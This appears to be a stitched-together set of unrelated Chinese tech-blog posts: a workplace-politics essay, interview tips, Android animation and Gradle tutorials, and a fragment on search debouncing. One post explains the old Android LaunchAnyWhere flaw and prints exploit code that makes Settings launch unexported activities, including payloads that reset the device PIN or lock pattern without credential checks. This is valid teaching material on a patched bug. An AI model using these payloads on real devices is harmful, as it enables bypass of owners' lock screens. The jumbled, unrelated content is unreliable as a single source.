我在抖音上看到当当网创始人李国庆发了一条视频，感觉他说的挺有意思。

他说，作为企业中层管理者，该不该有自己的山头，用于自我保护，这让人很迷茫。

其实我也迷茫过。我猜测，我们迷茫的可能是同一件事。

程序员内部，曾经流传着这样几句圣经：

代码写的好，写得快，会像个闲人。代码有注释，逻辑清晰，任何人都能轻松取代你。

代码写的烂，只有自己能看懂，一次次救火，你反而会成为团队不可缺少的人才。

那么，问题来了：到底该把事情干好呢，还是不要干好呢？

这是一个问题吗？当然是往多快好省了做呀！

我以前的想法就是这样。

我做底层员工时，代码写的清晰简洁，高效严谨。有时候我会因为计算循环次数而费心设计。如果循环层数太多，我会先把关键数据放到Map里，后续可以直接取用。我也会关注代码的可读性，尽量少套几层循环，命名兼顾字符长度和表意指向，如果代码太多就抽离成一个方法函数，并且要在代码里注释清楚。而这些操作，在形成习惯之后，是不会影响开发效率的。反而在某些情况下，还会提高效率。因为不管逻辑多复杂，不管过去多久，一看就能懂，很容易排查问题和他人接手。

我做中层管理时，除了培养团队内每个员工都能做到上述标准外，让我投入很大精力的事情就是“去我化”。也就是通过手段、流程、文化做到团队自治。我在团队时，大家能很高效地完成工作。当我短时间内离开时，大家依然能依靠惯性维持高效的状态。

我的想法很单纯：不管我是一线开发，还是中层管理，我修炼的都是自己。当你具备一定的职场能力时，你就是值钱的。作为员工你能把手头的活干得又快又好，作为管理你能把团队管理得积极健康。这就是亮点。不要在意别人的看法，你只需要修炼自己。当你具备了这个能力，这里不适合你，好多地方都会求此类贤人若渴。

其实，后面慢慢发现，这种想法可能还值得商榷。

因为创业和打工的区别还是挺大的。

创业是给自己干，想干好是肯定的，谁都不愿意面对一团糟。

我看明朝的历史，建文帝朱允炆刚登基时，就想削弱其他藩王的势力，加强自己的权力。当建文帝打算办燕王朱棣时，朱棣就起兵造反，自己做了皇帝。我感觉朱棣其实是自卫。后来，感情朱棣当上皇帝的第一件事，也是继续削弱藩王的势力。其实，大家都一样。

打工就不一样了，干得好不好，不是你说了算，是你的上级领导说了算，周围同事说了算，规章制度说了算。

因此，扁鹊三兄弟的现象就出现了。

扁鹊大哥，医术最高，能预防病人生病。扁鹊二哥，医术很高，能消灭病症在萌芽阶段。到扁鹊这里，只能到人快死了，开刀扎针，救人于生死之间。但是，世人都称扁鹊为神医。

如果你的领导是一个技术型的，同时他还能对你的工作质量做一些审查，那么他对你的评价，可能还具有些客观性。

但是，如果你碰到的是一个行政型的领导，他不是很懂医术，那他就只能像看医生治病一样，觉得救治好了快要死的人，才是高人。而对于预防重症这类防患于未然的事情，他会觉得你在愚弄他。

事实上，不少中小企业的领导，多是行政型领导。他们常常以忠心于老板而被提拔。

因此，为了自己获得一些利益。有些人常常是先把大病整出来，然后再治好，以此来体现自己的价值。

老维修工建设管道，水管里流的是燃气，燃气管的作用是排废水。出了问题，来一批一批的新师傅，都解决不了，越弄越乱。结果老维修工一出手，就把问题解决了。老板觉得，哎呀，看，还得是我的老师傅管用。

相反，如果你把事情打理的井井有条，没有一丝风浪，就像扁鹊大哥一样，我都不得病，还养你干啥，随便换谁都可以。这样的话，往往你的结局就多是被领导忽视。

我有好几个大领导都在大会上说过：你请假一周，你的部门连给你打一个电话的都没有，这说明你平时疏于管理，对于团队没有一丝作用！

从业这么多年，见过各种现实，很讽刺，就像是笑话。有一个同事，给程序加了一个30秒后延时执行。后来，领导让他优化速度，他分4次，将30秒调到5秒。最后领导大喜，速度提高6倍，他被授予“超级工匠”的荣誉称号。

一个是领导的评价。还有一个是同事的评价。

我有一次，在自己的项目组里搞了个考核。考核的核心就是，干好了可以奖，干差了便会罚。我觉得这样挺好，避免伤了好人心，杜绝隧了闲人的意。结果因为其他项目组没有搞，所以我成了众矢之的。他为什么要搞？人家项目组都没有，就他多事，咱们不在他这里干了！

我想，国内的管理可能不是一种客观的结果制。而是另一种客观的”平衡制“。

就像是古代的科举，按照才学，按照成绩来说，状元每届多是江南的。但是，皇帝需要平衡，山西好久没有出个状元了，点一个吧。河南今年学子闹事，罢考，为了稳一稳人心，给一个吧。江南都这么多了，少一个没什么关系的。

他更多是要让各方都满意。一个”平衡“贯穿了整个古今现代的价值观。

有人遵循自己的内心做事，也有人遵循别人的内心做事。不管遵循哪一方，坚持就好，不要去轻易比较，各自有各自的付出和收获。

当路上都在逆行时，你会发现，其实是你在逆行。

了解校招、分享校招知识的学长来了！

四月中旬了，大家面试了几场？

大家有没有这样的感受：面试的时候和面试官聊得火热朝天，气味相投。

面完觉得自己稳了，已经在畅想入职事宜了，结果一封感谢信让人瞬间清醒。

不少同学应该有这样的经历。

学长也曾经有过：面试两小时，自觉面试问题回答得不错，但是面试官只说：你回去等消息吧。

经历过面试的同学应该懂”回去等消息“这句话的杀伤力有多大。

在此也想先和那些面试多次但还是不通过的朋友说：千万别气馁！

找工作看能力，有时候也看运气，面试没有通过，这并不说明你不优秀。

所有，面试未通过，这其中的问题到底出在哪呢？

01 缺乏相关经验或技能

如果应聘者没有足够的经验或技能来完成职位要求，或者面试的时候没有展现自己的优势，那么失败很常见。

而面试官看重也许就是那些未展现的经验或技能，考察的是与岗位的匹配程度。

02 没有准备充分

每年学长遇到一些同学因为时间安排不当，没有任何了解就开投简历。

而被春招和毕业论文一起砸晕的同学更是昏头转向。

如果没有花足够的时间和精力来了解公司和职位，并准备回答常见的面试问题，那么可能表现不佳。

03 与招聘人员沟通不畅

在面试过程中，面试官真的非常看重沟通效果！

如果应聘者无法清晰地表达自己的想法，或者不能理解面试官的问题，那么可能会被认为不适合该职位。

04 缺乏信心或过度紧张

学长也很理解应届生的局促感，以及面对面试官的紧张。

但是如果面试场上感到非常紧张或缺乏自信，那么可能表现得不自然或不真诚。

好像，面试的时候需要表现得自信、大方，才能入面试官的眼。

05 不符合公司文化或价值观

企业文化，也成为考察面试者的一个利器。

如果应聘者的个人品格、行为或态度与公司文化或价值观不符，那么可能无法通过面试。

比如一个一心躺平的候选人，面对高压氛围，只会 Say goodbye。

06 其他候选人更加匹配

如果公司有其他候选人比应聘者更加匹配该职位，那么应聘者可能无法通过面试。

一个岗位，你会面对强劲的对手。

同样学历背景，但有工作经验比你丰富的；

工作经验都 OK，但有其他学历背景比你合适，或稳定性比你高的面试者。

经常有同学发帖吐槽面试经历：一场群面，只有 Ta 是普通本科生，其余人均 Top 学校研究生学历。

面试不容易，祝大家都能斩获心仪的 Offer！

帧动画是通过连续播放图片来模拟动画效果，而补间动画开发者只需指定动画开始，以及动画结束"关键帧"，而动画变化的"中间帧"则由系统计算并补齐！

1.补间动画的分类和Interpolator

Andoird所支持的补间动画效果有如下这五种，或者说四种吧，第五种是前面几种的组合而已。

• AlphaAnimation： 透明度渐变效果，创建时许指定开始以及结束透明度，还有动画的持续时间，透明度的变化范围(0,1)，0是完全透明，1是完全不透明；对应<alpha/>标签！


• ScaleAnimation：缩放渐变效果，创建时需指定开始以及结束的缩放比，以及缩放参考点，还有动画的持续时间；对应<scale/>标签！


• TranslateAnimation：位移渐变效果，创建时指定起始以及结束位置，并指定动画的持续时间即可；对应<translate/>标签！


• RotateAnimation：旋转渐变效果，创建时指定动画起始以及结束的旋转角度，以及动画持续时间和旋转的轴心；对应<rotate/>标签


• AnimationSet：组合渐变，就是前面多种渐变的组合，对应<set/>标签

在开始讲解各种动画的用法之前，我们先要来讲解一个东西：Interpolator

用来控制动画的变化速度，可以理解成动画渲染器，当然我们也可以自己实现Interpolator接口，自行来控制动画的变化速度，而Android中已经为我们提供了五个可供选择的实现类：

• LinearInterpolator：动画以均匀的速度改变


• AccelerateInterpolator：在动画开始的地方改变速度较慢，然后开始加速


• AccelerateDecelerateInterpolator：在动画开始、结束的地方改变速度较慢，中间时加速


• CycleInterpolator：动画循环播放特定次数，变化速度按正弦曲线改变：Math.sin(2 * mCycles * Math.PI * input)


• DecelerateInterpolator：在动画开始的地方改变速度较快，然后开始减速


• AnticipateInterpolator：反向，先向相反方向改变一段再加速播放


• AnticipateOvershootInterpolator：开始的时候向后然后向前甩一定值后返回最后的值


• BounceInterpolator： 跳跃，快到目的值时值会跳跃，如目的值100，后面的值可能依次为85，77，70，80，90，100


• OvershottInterpolator：回弹，最后超出目的值然后缓慢改变到目的值

2.各种动画的详细讲解

这里的android:duration都是动画的持续时间，单位是毫秒

1）AlphaAnimation(透明度渐变)

anim_alpha.xml：

<alpha xmlns:android="http://schemas.android.com/apk/res/android"  

    android:interpolator="@android:anim/accelerate_decelerate_interpolator"  

    android:fromAlpha="1.0"  

    android:toAlpha="0.1"  

    android:duration="2000"/>

属性解释：

fromAlpha :起始透明度toAlpha:结束透明度透明度的范围为：0-1，完全透明-完全不透明

2）ScaleAnimation(缩放渐变)

anim_scale.xml：

<scale xmlns:android="http://schemas.android.com/apk/res/android"  

    android:interpolator="@android:anim/accelerate_interpolator"  

    android:fromXScale="0.2"  

    android:toXScale="1.5"  

    android:fromYScale="0.2"  

    android:toYScale="1.5"  

    android:pivotX="50%"  

    android:pivotY="50%"  

    android:duration="2000"/>

属性解释：

• fromXScale/fromYScale：沿着X轴/Y轴缩放的起始比例


• toXScale/toYScale：沿着X轴/Y轴缩放的结束比例


• pivotX/pivotY：缩放的中轴点X/Y坐标，即距离自身左边缘的位置，比如50%就是以图像的中心为中轴点

3）TranslateAnimation(位移渐变)

anim_translate.xml：

<translate xmlns:android="http://schemas.android.com/apk/res/android"  

    android:interpolator="@android:anim/accelerate_decelerate_interpolator"  

    android:fromXDelta="0"  

    android:toXDelta="320"  

    android:fromYDelta="0"  

    android:toYDelta="0"  

    android:duration="2000"/>

属性解释：

• fromXDelta/fromYDelta：动画起始位置的X/Y坐标


• toXDelta/toYDelta：动画结束位置的X/Y坐标

4）RotateAnimation(旋转渐变)

anim_rotate.xml：

<rotate xmlns:android="http://schemas.android.com/apk/res/android"  

    android:interpolator="@android:anim/accelerate_decelerate_interpolator"  

    android:fromDegrees="0"  

    android:toDegrees="360"  

    android:duration="1000"  

    android:repeatCount="1"  

    android:repeatMode="reverse"/> 

属性解释：

• fromDegrees/toDegrees：旋转的起始/结束角度


• repeatCount：旋转的次数，默认值为0，代表一次，假如是其他值，比如3，则旋转4次另外，值为-1或者infinite时，表示动画永不停止


• repeatMode：设置重复模式，默认restart，但只有当repeatCount大于0或者infinite或-1时才有效。还可以设置成reverse，表示偶数次显示动画时会做方向相反的运动！

5）AnimationSet(组合渐变)

非常简单，就是前面几个动画组合到一起而已

anim_set.xml：

<set xmlns:android="http://schemas.android.com/apk/res/android"  

    android:interpolator="@android:anim/decelerate_interpolator"  

    android:shareInterpolator="true" >  

  

    <scale  

        android:duration="2000"  

        android:fromXScale="0.2"  

        android:fromYScale="0.2"  

        android:pivotX="50%"  

        android:pivotY="50%"  

        android:toXScale="1.5"  

        android:toYScale="1.5" />  

  

    <rotate  

        android:duration="1000"  

        android:fromDegrees="0"  

        android:repeatCount="1"  

        android:repeatMode="reverse"  

        android:toDegrees="360" />  

  

    <translate  

        android:duration="2000"  

        android:fromXDelta="0"  

        android:fromYDelta="0"  

        android:toXDelta="320"  

        android:toYDelta="0" />  

  

    <alpha  

        android:duration="2000"  

        android:fromAlpha="1.0"  

        android:toAlpha="0.1" />  



</set>  

3.写个例子来体验下

好的，下面我们就用上面写的动画来写一个例子，让我们体会体会何为补间动画：首先来个简单的布局：activity_main.xml：

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:layout_width="match_parent"

    android:layout_height="match_parent"

    android:orientation="vertical">



    <Button

        android:id="@+id/btn_alpha"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="透明度渐变" />



    <Button

        android:id="@+id/btn_scale"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="缩放渐变" />



    <Button

        android:id="@+id/btn_tran"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="位移渐变" />



    <Button

        android:id="@+id/btn_rotate"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="旋转渐变" />



    <Button

        android:id="@+id/btn_set"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="组合渐变" />



    <ImageView

        android:id="@+id/img_show"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_gravity="center"

        android:layout_marginTop="48dp"

        android:src="@mipmap/img_face" />

    

</LinearLayout>

好哒，接着到我们的MainActivity.java，同样非常简单，只需调用AnimationUtils.loadAnimation()加载动画，然后我们的View控件调用startAnimation开启动画即可。

public class MainActivity extends AppCompatActivity implements View.OnClickListener{



    private Button btn_alpha;

    private Button btn_scale;

    private Button btn_tran;

    private Button btn_rotate;

    private Button btn_set;

    private ImageView img_show;

    private Animation animation = null;



    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        bindViews();

    }



    private void bindViews() {

        btn_alpha = (Button) findViewById(R.id.btn_alpha);

        btn_scale = (Button) findViewById(R.id.btn_scale);

        btn_tran = (Button) findViewById(R.id.btn_tran);

        btn_rotate = (Button) findViewById(R.id.btn_rotate);

        btn_set = (Button) findViewById(R.id.btn_set);

        img_show = (ImageView) findViewById(R.id.img_show);



        btn_alpha.setOnClickListener(this);

        btn_scale.setOnClickListener(this);

        btn_tran.setOnClickListener(this);

        btn_rotate.setOnClickListener(this);

        btn_set.setOnClickListener(this);



    }



    @Override

    public void onClick(View v) {

        switch (v.getId()){

            case R.id.btn_alpha:

                animation = AnimationUtils.loadAnimation(this,

                        R.anim.anim_alpha);

                img_show.startAnimation(animation);

                break;

            case R.id.btn_scale:

                animation = AnimationUtils.loadAnimation(this,

                        R.anim.anim_scale);

                img_show.startAnimation(animation);

                break;

            case R.id.btn_tran:

                animation = AnimationUtils.loadAnimation(this,

                        R.anim.anim_translate);

                img_show.startAnimation(animation);

                break;

            case R.id.btn_rotate:

                animation = AnimationUtils.loadAnimation(this,

                        R.anim.anim_rotate);

                img_show.startAnimation(animation);

                break;

            case R.id.btn_set:

                animation = AnimationUtils.loadAnimation(this,

                        R.anim.anim_set);

                img_show.startAnimation(animation);

                break;

        }

    }

}

运行效果图：

有点意思是吧，还不动手试试，改点东西，或者自由组合动画，做出酷炫的效果吧。

前言

今年3月份，知名反病毒软件公司卡巴斯基实验室发布了一份关于中国电商平台拼多多的调查报告，称该平台的安装程序中含有恶意代码。这一消息引起了广泛的关注和讨论，也引发了人们对于拼多多平台安全性的担忧

作为技术开发人员，我看到了PDD对安卓OEM源码中的漏洞的深入研究。

了解和学习Android漏洞原理有以下几个用处：

• 
  

  提高应用安全性：通过了解漏洞原理，开发者可以更好地了解漏洞的产生机理，进而在应用开发过程中采取相应的安全措施，避免漏洞的产生，提高应用的安全性。

  
  


• 
  

  提升应用质量：学习漏洞原理可以帮助开发者更好地理解 Android平台的工作原理，深入了解操作系统的内部机制，有助于开发高质量的应用程序。

  
  


• 
  

  改善代码风格：学习漏洞原理可以帮助开发者更好地理解代码的运行方式和效果，从而提高代码的可读性和可维护性。

  
  


• 
  

  了解安全防护技术：学习漏洞原理可以帮助开发者了解目前主流的安全防护技术，掌握安全防护的最佳实践，从而更好地保障应用程序的安全性。

  
  

总之，了解和学习Android漏洞原理可以帮助开发者更好地理解操作系统的内部机制，提高应用程序的安全性、质量和可维护性。

LaunchAnyWhere漏洞

这是一个AccountManagerService的漏洞，利用这个漏洞，我们可以任意调起任意未导出的Activity，突破进程间组件访问隔离的限制。这个漏洞影响2.3 ~ 4.3的安卓系统。

有些同学看到这里或许有些疑问，这个漏洞不是在Android4.3以后被解决了么？我想要说的是要了解startAnyWhere就需要了解它的历史，而LaunchAnyWhere漏洞可以说是它的一部分历史。

普通应用（记为AppA）去请求添加某类账户时，会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用（记为AppB）的Authenticator类，调用Authenticator. addAccount方法；AppA再根据AppB返回的Intent去调起AppB的账户登录界面。

关于AccountManagerService

AccountManagerService同样也是系统服务之一，暴露给开发者的的接口是AccountManager。该服务用于管理用户各种网络账号。这使得一些应用可以获取用户网络账号的token，并且使用token调用一些网络服务。很多应用都提供了账号授权功能，比如微信、支付宝、邮件Google服务等等。

关于AccountManager的使用，可以参考Launchanywhere的Demo：github.com/stven0king/…

由于各家账户的登陆方法和token获取机制肯定存在差异，所以AccountManager的身份验证也被设计成可插件化的形式：由提供账号相关的应用去实现账号认证。提供账号的应用可以自己实现一套登陆UI，接收用户名和密码；请求自己的认证服务器返回一个token；将token缓存给AccountManager。

可以从“设置-> 添加账户”中看到系统内可提供网络账户的应用：

如果应用想要出现在这个页面里，应用需要声明一个账户认证服务AuthenticationService：

<service android:name=".AuthenticationService"

    android:exported="true"

    android:enabled="true">

    <intent-filter>

        <action android:name="android.accounts.AccountAuthenticator" />

    </intent-filter>

    <meta-data

        android:name="android.accounts.AccountAuthenticator"

        android:resource="@xml/authenticator" />

</service>

并在服务中提供一个Binder:

public class AuthenticationService extends Service {

    private AuthenticationService.AccountAuthenticator mAuthenticator;

    private AuthenticationService.AccountAuthenticator getAuthenticator() {

        if (mAuthenticator == null)

            mAuthenticator = new AuthenticationService.AccountAuthenticator(this);

        return mAuthenticator;

    }

    @Override

    public void onCreate() {

        mAuthenticator = new AuthenticationService.AccountAuthenticator(this);

    }

    @Override

    public IBinder onBind(Intent intent) {

        Log.d("tanzhenxing33", "onBind");

        return getAuthenticator().getIBinder();

    }

    static class AccountAuthenticator extends AbstractAccountAuthenticator {

        /****部分代码省略****/

        @Override

        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType, String authTokenType, String[] requiredFeatures, Bundle options) throws NetworkErrorException {

            Log.d("tanzhenxing33", "addAccount: ");

            return testBundle();

        }

    }

}

声明账号信息：authenticator.xml

<?xml version="1.0" encoding="utf-8"?>

<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"

    android:accountType="com.tzx.launchanywhere"

    android:icon="@drawable/ic_launcher"

    android:label="@string/app_name">

</account-authenticator>

漏洞原理

普通应用（记为AppA）去请求添加某类账户时，会调用AccountManager.addAccount,然后AccountManager会去查找提供账号的应用（记为AppB）的Authenticator类，调用Authenticator.addAccount方法；AppA再根据AppB返回的Intent去调起AppB的账户登录界面。

这个过程如图所示：

我们可以将这个流程转化为一个比较简单的事实：

• AppA请求添加一个特定类型的网络账号


• 系统查询到AppB可以提供一个该类型的网络账号服务，系统向AppB发起请求


• AppB返回了一个intent给系统，系统把intent转发给appA


• AccountManagerResponse在AppA的进程空间内调用 startActivity(intent)调起一个Activity;


• AccountManagerResponse是FrameWork中的代码， AppA对这一调用毫不知情。

这种设计的本意是，AccountManagerService帮助AppA查找到AppB账号登陆页面，并呼起这个登陆页面。而问题在于，AppB可以任意指定这个intent所指向的组件，AppA将在不知情的情况下由AccountManagerResponse调用起了一个Activity. 如果AppA是一个system权限应用，比如Settings，那么AppA能够调用起任意AppB指定的未导出Activity。

如何利用

上文已经提到过，如果假设AppA是Settings，AppB是攻击程序。那么只要能让Settings触发addAcount的操作，就能够让AppB launchAnyWhere。而问题是，怎么才能让Settings触发添加账户呢？如果从“设置->添加账户”的页面去触发，则需要用户手工点击才能触发，这样攻击的成功率将大大降低，因为一般用户是很少从这里添加账户的，用户往往习惯直接从应用本身登陆。
不过现在就放弃还太早，其实Settings早已经给我们留下触发接口。只要我们调用com.android.settings.accounts.AddAccountSettings，并给Intent带上特定的参数，即可让``Settings触发launchAnyWhere：

Intent intent1 = new Intent();

intent1.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));

intent1.setAction(Intent.ACTION_RUN);

intent1.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

String authTypes[] = {"自己的账号类型"};

intent1.putExtra("account_types", authTypes);

AuthenticatorActivity.this.startActivity(intent1);

这个过程如图Step 0所示：

应用场景

主要的攻击对象还是应用中未导出的Activity，特别是包含了一些intenExtra的Activity。下面只是举一些简单例子。这个漏洞的危害取决于你想攻击哪个Activity，还是有一定利用空间的。比如攻击很多app未导出的webview，结合FakeID或者JavascriptInterface这类的浏览器漏洞就能造成代码注入执行。

重置pin码

• 绕过pin码认证界面，直接重置手机系统pin码。

intent.setComponent(new ComponentName("com.android.settings","com.android.settings.ChooseLockPassword"));

intent.setAction(Intent.ACTION_RUN);

intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

intent.putExtra("confirm_credentials",false);

final Bundle bundle = new Bundle();

bundle.putParcelable(AccountManager.KEY_INTENT, intent);

return bundle;

重置锁屏

绕过原有的锁屏校验，直接重置手机的锁屏密码。

Intent intent = new Intent();

intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockPattern"));

intent.setAction(Intent.ACTION_RUN);

intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

final Bundle bundle = new Bundle();

bundle.putParcelable(AccountManager.KEY_INTENT, intent);

return bundle;

漏洞修复

安卓4.4已经修复了这个漏洞，检查了Step3中返回的intent所指向的Activity和AppB是否是有相同签名的。避免了luanchAnyWhere的可能。
Android4.3源代码：androidxref.com/4.3_r2.1/xr…
Android4.4源代码：androidxref.com/4.4_r1/xref…
官网漏洞修复的Diff：android.googlesource.com/platform/fr…

文章到这里就全部讲述完啦，若有其他需要交流的可以留言哦~！

前言

本文属于 《一款基于MVP架构的快速应用开发框架，kotlin版本》(注：此文章还在更新中，可先看看，敬请期待！) 的扩展文章，详细介绍在使用 LeoFastDevMvpKotlin 快速开发框架的时候，进行项目依赖管理的方法。

介绍

Android 依赖统一管理距目前为止，博主一共知道有三种方法，分别是：

1. 传统apply from的方式（也是本文想讲的一种方式）：新建一个 「config.gradle」 文件，然后将项目中所有依赖写在里面，更新只需修改 「config.gradle」 文件内容，作用于所有module。


2. buildSrc 方式：当运行 Gradle 时会检查项目中是否存在一个名为 buildSrc 的目录。然后 Gradle 会自动编译并测试这段代码，并将其放入构建脚本的类路径中, 对于多项目构建，只能有一个 buildSrc 目录，该目录必须位于根项目目录中, buildSrc 是 Gradle 项目根目录下的一个目录。


3. Composing builds 方式：复合构建只是包含其他构建的构建. 在许多方面，复合构建类似于 Gradle 多项目构建，不同之处在于，它包括完整的 builds ，而不是包含单个 projects，总的来说，他有 buildSrc 方式的优点，同时更新不需要重新构建整个项目。

三种方式各有各的好，目前最完美的应该是第三种实现。但是这种方式不利于框架使用，因为它属于的是新建一个module，如果项目远程依赖了框架，默认也包含了这个 module。所以博主选择了第一种方式。以下文章也是围绕第一种方式进行讲解。

实现方式

实现这个统一依赖管理，拢共分三步，分别是：

• 第一步：创建「config.gradle」 文件


• 第二步：项目当中引入「config.gradle」


• 第三步：在所有module的「build.gradle」当中添加依赖

• 
  

  第一步：创建 「config.gradle」 文件

  
  

  首先将 Aandroid Studio 目录的Android格式修改为Project，然后再创建一个「config.gradle」的文件

  
  

  

  
  

  然后我们编辑文章里面的内容，这里直接给出框架的代码出来(篇幅太长，省略部分代码)：

  
  

  ext {
  
  /**
  
   * 基础配置 对应 build.gradle 当中 android 括号里面的值
  
   */
  
  android = [
  
          compileSdk               : 32,
  
          minSdk                   : 21,
  
          targetSdk                : 32,
  
          versionCode              : 1,
  
          versionName              : "1.0.0",
  
          testInstrumentationRunner: "androidx.test.runner.AndroidJUnitRunner",
  
          consumerProguardFiles    : "consumer-rules.pro"
  
          
  
          ......
  
  ]
  
  
  
  /**
  
   * 版本号 包含每一个依赖的版本号，仅仅作用于下面的 dependencies
  
   */
  
  version = [
  
          coreKtx              : "1.7.0",
  
          appcompat            : "1.6.1",
  
          material             : "1.8.0",
  
          constraintLayout     : "2.1.3",
  
          navigationFragmentKtx: "2.3.5",
  
          navigationUiKtx      : "2.3.5",
  
          junit                : "4.13.2",
  
          testJunit            : "1.1.5",
  
          espresso             : "3.4.0",
  
          
  
          ......
  
  ]
  
  
  
  /**
  
   * 项目依赖 可根据项目增加删除，但是可不删除本文件里的，在 build.gradle 不写依赖即可
  
   * 因为MVP框架默认依赖的也在次文件中，建议只添加，不要删除
  
   */
  
  dependencies = [
  
  
  
          coreKtx                    : "androidx.core:core-ktx:$version.coreKtx",
  
          appcompat                  : "androidx.appcompat:appcompat:$version.appcompat",
  
          material                   : "com.google.android.material:material:$version.material",
  
          constraintLayout           : "androidx.constraintlayout:constraintlayout:$version.constraintLayout",
  
          navigationFragmentKtx      : "androidx.navigation:navigation-fragment-ktx:$version.navigationFragmentKtx",
  
          navigationUiKtx            : "androidx.navigation:navigation-ui-ktx:$version.navigationUiKtx",
  
          junit                      : "junit:junit:$version.junit",
  
          testJunit                  : "androidx.test.ext:junit:$version.testJunit",
  
          espresso                   : "androidx.test.espresso:espresso-core:$version.espresso",
  
          
  
          ......
  
          ]
  
  }

  
  

  简单理解就是将所有的依赖，分成版本号以及依赖名两个数组的方式保存，所有都在这个文件统一管管理。用 ext 包裹三个数组：第一个是「build.gradle」Android 里面的，第二个是版本号，第三个是依赖的名字。依赖名字数组里面的依赖版本号通过 $ 关键字指代 version 数组里面的版本号

  
  


• 
  

  第二步：项目当中引入 「config.gradle」

  
  

  将「config.gradle」文件引入项目当中，在项目的根目录的「build.gradle」文件(也就是刚刚新建的 「config.gradle」同目录下的),添加如下代码：

  
  

  apply from:"config.gradle"

  
  

  需要注意的的是，如果你是 AndroidStudio 4.0+ 那么你将看到这样的「build.gradle」文件

  
  

  // Top-level build file where you can add configuration options common to all sub-projects/modules.
  
  plugins {
  
      id 'com.android.application' version '7.2.2' apply false
  
      id 'com.android.library' version '7.2.2' apply false
  
      id 'org.jetbrains.kotlin.android' version '1.7.10' apply false
  
  }
  
  
  
  apply from:"config.gradle"

  
  

  相反，如果你是 AndroidStudio 4.0- 那么你将会看到这样的「build.gradle」文件

  
  

  
  
  apply from: "config.gradle"
  
  
  
  buildscript {
  
      ext.kotlin_version="1.7.10"
  
      repositories {
  
          maven { url "https://jitpack.io" }
  
          mavenCentral()
  
          google()
  
      }
  
      dependencies {
  
      classpath "com.android.tools.build:gradle:4.2.1"
  
      classpath 'com.jakewharton:butterknife-gradle-plugin:10.2.3'
  
      classpath "org.jetbrains.kotlin:kotlin-gradle-plugin:$kotlin_version"
  
  
  
      // NOTE: Do not place your application dependencies here; they belong
  
      // in the individual module build.gradle files
  
      }
  
  }
  
  
  
  allprojects {
  
      repositories {
  
          maven { url "https://jitpack.io" }
  
          mavenCentral()
  
          google()
  
      }
  
  }
  
  
  
  task clean(type: Delete) {
  
      delete rootProject.buildDir
  
  }

  
  

  不过仅仅是两个文件里面的内容不一致，这个文件的位置是一样的，而且我们添加的引入代码也是一样的。可以说，这只是顺带提一嘴，实际上不影响我们实现统一依赖管理这个方式。

  
  


• 
  

  第三步：在所有module的「build.gradle」当中添加依赖

  
  

  这一步是最重要的，我们完成了上面两步之后，只是做好了准备，现在我们需要将我们每一个module里面「build.gradle」文件里面的依赖指向「config.gradle」文件。也就是下图圈起来的 那两个「build.gradle」文件。

  
  

  

  
  

  因为我们第二步的时候已经在根目录引入了「config.gradle」,所以我们在「build.gradle」就可以指向「config.gradle」例如：

  
  

  
  

  implementation rootProject.ext.dependencies.coreKtx

  
  

  
  

  这一行，就指代了我们「config.gradle」文件里面的 dependencies 数组里面的 coreKtx 的内容。完整示例如下：

  
  

  plugins {
  
      id 'com.android.application'
  
      id 'org.jetbrains.kotlin.android'
  
  }
  
  android {
  
      namespace 'leo.dev.mvp.kt'
  
  //    compileSdk 32
  
      compileSdk rootProject.ext.android.compileSdk
  
  
  
      defaultConfig {
  
          applicationId "leo.dev.mvp.kt"
  
  //        minSdk 21
  
  //        targetSdk 32
  
  //        versionCode 1
  
  //        versionName "1.0"
  
  //
  
  //        testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
  
  
  
          minSdk rootProject.ext.android.minSdk
  
          targetSdk rootProject.ext.android.targetSdk
  
          versionCode rootProject.ext.android.versionCode
  
          versionName rootProject.ext.android.versionName
  
  
  
          testInstrumentationRunner rootProject.ext.android.testInstrumentationRunner
  
  
  
      }
  
      
  
      ......
  
  }
  
  
  
  dependencies {
  
  
  
      implementation fileTree(include: ['*.jar'], dir: 'libs')
  
      
  
  //    implementation 'androidx.core:core-ktx:1.7.0'
  
  //    implementation 'androidx.appcompat:appcompat:1.6.1'
  
  //    implementation
  
  //
  
  //    testImplementation 'junit:junit:4.13.2'
  
  //    androidTestImplementation 'androidx.test.ext:junit:1.1.5'
  
  //    androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
  
  
  
      implementation rootProject.ext.dependencies.coreKtx
  
      implementation rootProject.ext.dependencies.appcompat
  
      implementation rootProject.ext.dependencies.material
  
  
  
      testImplementation rootProject.ext.dependencies.junit
  
      androidTestImplementation rootProject.ext.dependencies.testJunit
  
      androidTestImplementation rootProject.ext.dependencies.espresso
  
      
  
  }

  
  

  需要注意的是，我们在编写代码的时候，是没有代码自动补全的。所以得小心翼翼，必须要和「config.gradle」文件里面的名字向一致。

  
  

注意事项

• 首先就是这种方式在coding的时候，是没有代码补全的（只有输入过的，才会有提示），我们需要确保我们的名字一致


• 我们在增加依赖的时候，在「config.gradle」里面添加完之后，记得在对应的module里面的「build.gradle」里面添加对应的指向代码。

总结

以上就是本篇文章的全部内容，总结起来其实步骤不多，也就三步。但是需要注意的是细节。需要保持写入的依赖与「config.gradle」文件一致，并且未写过的词，是不会有代码自动补全的。

另外本篇文章是本文属于 《一款基于MVP架构的快速应用开发框架，kotlin版本》 的扩展文章，所以会一步一步说得比较详细一点。大家可以挑重点跳过阅读。

callbackFlow {}+debounce()降频

假如当前要做一个实时搜索的功能，监听输入框动态输入的内容向服务器发起搜索请求，这不仅会增大服务器的压力，而且也会产生很多的无用请求。

